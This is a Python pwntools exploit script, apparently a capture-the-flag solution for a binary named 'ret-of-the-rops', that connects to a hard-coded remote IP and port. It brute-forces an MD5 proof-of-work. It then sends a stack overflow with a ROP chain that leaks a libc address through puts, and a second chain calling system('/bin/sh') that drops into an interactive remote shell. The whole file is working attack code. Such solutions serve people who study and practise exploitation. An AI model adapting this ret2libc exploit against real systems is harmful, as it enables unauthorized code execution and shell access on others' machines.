#!/usr/bin/python3

from pwn import *
import string
import hashlib
from itertools import permutations

io = remote("161.97.176.150", 2222)
elf = ELF("./ret-of-the-rops")

pop_rdi = 0x401263
ret = 0x40101a

def find_hash():
        """ Used to find the matching hash and bypass 'PoW' """
        foo = [i for i in permutations(list(string.ascii_lowercase), 4)]
        hash = io.recvline().decode().split("=")[1].strip() # get the hash from cmdline

        for word in foo:
                result = hashlib.md5("".join(word).encode()).hexdigest()
                if hash == result[-6:]:
                        return "".join(word)
                        break


def leak_address():
        " Used to leak the address of libc"
        payload = b"A"*40
        payload +=p64(pop_rdi)
        payload += p64(elf.got.printf)
        payload += p64(elf.sym.puts)
        payload += p64(elf.sym.main)
        io.sendline(payload)
        leaked_address = u64(io.recvline()[43:-1].decode("latin-1").ljust(8, "\x00"))
        base_address = leaked_address - 0x064e10
        log.info("Leaked Address: {}".format(hex(leaked_address)))
        log.info("Base Address: {}".format(hex(base_address)))
        return base_address


def final_exploit(base_address):
        """ used to get as shell """
        io.recvline()
        payload = b"A"*40
        payload += p64(ret)
        payload += p64(pop_rdi)
        payload += p64(base_address + 0x1b75aa) #binsh
        payload += p64(base_address + 0x55410) # system
        io.sendline(payload)
        null = payload.find(b"\x00")
        io.recvuntil(payload[null-2:null])
        io.interactive()


def main():
        io.sendline(find_hash().encode())
        for _ in range(2):
                io.recvline()
        base_address = leak_address()
        final_exploit(base_address)


if __name__ == "__main__":
        main()
